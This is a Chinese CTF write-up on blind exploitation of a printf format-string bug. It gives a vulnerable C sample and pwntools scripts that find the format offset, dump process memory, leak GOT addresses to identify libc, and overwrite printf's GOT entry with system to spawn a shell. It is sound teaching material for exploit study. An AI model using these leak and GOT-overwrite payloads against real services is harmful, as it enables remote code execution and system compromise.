sigh
第一次盲打,没想到是格式化
参考http://paper.seebug.org/246/#0-tsina-1-87581-397232819ff9a47a7b7e80a40613cfe1 进行了学习
Vuln
输入什么,就返回什么,后来才知道是printf格式化(其实很容易想到的)
比赛后平台关了,本地模拟一下
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
char buf[1024];
while(1)
{
memset(buf, '\0', 1024);
read(0, buf, 1024);
printf(buf);
fflush(stdout);
}
return 0;
}
// gcc -m32 -o vuln_32fmt vuln_fmt.c
// socat tcp-listen:2333,reuseaddr,fork exec:./vuln32_fmt
首先需要猜测格式化的位置
fake_addr_test = 'bbbb'
for i in range(20):
io = remote('127.0.0.1', 2333)
padd_str = '%' + str(i) + '$x'
padd_str = padd_str.ljust(8, 'a') + fake_addr_test
try:
io.send(padd_str)
except EOFError:
print 'send fmt error'
pass
try:
io.recv()
except EOFError:
print 'none string'
pass
io.close()
最后i为13的时候正好输出bbbb对应的16进制值,接下来只要改成$s就能开始dump了
Dump
由于有printf格式化,第一步是dump程序,由于程序可能有PIE,所以只能猜测从0x8048000开始dump
def vdump_proc():
vuln_start_addr = 0x8048000
fp_dump = open('proc.dump', 'ab+')
leakfunc_offset = 0
while True:
io = remote('127.0.0.1', 2333)
padd_str = '%' + str(13) + '$s'
padd_str = padd_str.ljust(8, 'a') + p32(vuln_start_addr+leakfunc_offset)
io.send(padd_str)
try:
data = io.recvuntil('aaa')[:-3]
except EOFError:
print hex(leakfunc_offset)
sys.exit(0)
data += '\x00'
leakfunc_offset += len(data)
fp_dump.write(data)
fp_dump.flush()
io.close()
fp_dump.close()
很明显,是不可能dump结束的,所以大概到地址0x804A100左右就停止
dump出来的程序可以看到got表和plt表,也能用ida分析,不过有些地方有些残缺
leak
本来用dynelf,不过实在是一直崩溃(太难用了吧)。看到有说可以leak出函数偏移之后,查libc版本。之前没有试过这种方法。。于是开始搜资料
github上找了一个超好用的 https://github.com/niklasb/libc-database
先./get更新一下
然后先leak出需要的函数
def mleak_ping(lk_address):
padd_str = '%13$saaa' + p32(lk_address)
io.send(padd_str)
leaked_data = io.recvuntil('aaa')[:-3]
io.clean()
return leaked_data
read_addr = u32(mleak_ping(read_got)[:4])
print 'read address:', hex(read_addr)
printf_addr = u32(mleak_ping(printf_got)[:4])
print 'printf address:', hex(printf_addr)
raw_input('leak 2 functions??')
由于还要libc,然而dynelf各种不好用,就自己写了leak
base_addr_m = printf_addr & 0xFFFFF000
libc_base_addr = 0
while True:
leaked_data = mleak_ping(base_addr_m)
if len(leaked_data) >= 4:
if '\x7fELF' in leaked_data:
print 'libc_base:', hex(base_addr_m)
break
base_addr_m -= 0x1000
最后
read address: 0xf76a6980
printf address: 0xf761a670
libc_base: 0xf75d1000
// D5980
// 49670
下面查一下,其实就我机子上的libc
deadfish@ubuntu:~/Pwn/Tools/libc-database$ ./find read d5980 printf 49670
archive-glibc (id libc6_2.23-0ubuntu5_i386)
deadfish@ubuntu:~/Pwn/Tools/libc-database$ ./dump libc6_2.23-0ubuntu5_i386
offset___libc_start_main_ret = 0x18637
offset_system = 0x0003ada0
offset_dup2 = 0x000d6190
offset_read = 0x000d5980
offset_write = 0x000d59f0
offset_str_bin_sh = 0x15b82b
deadfish@ubuntu:~/Pwn/Tools/libc-database$ ./dump libc6_2.23-0ubuntu5_i386 system
offset_system = 0x0003ada0
exp
最后exp学习使用了一下
def leak_fmt_off():
auto_fmt = FmtStr(exec_fmt)
print auto_fmt.offset
def vexp(system_addr):
raw_input('continue?')
payload = fmtstr_payload(11, {printf_got : system_addr})
io.send(payload)
io.sendline('/bin/sh')
io.interactive()
system_addr = base_addr_m + 0x3ada0
vexp(system_addr)
这里11和之前不同,不是13,因为pwntools的发fmt和我之前测试的方式不一样。通过FmtStr可以确定是13。这样exp很方便了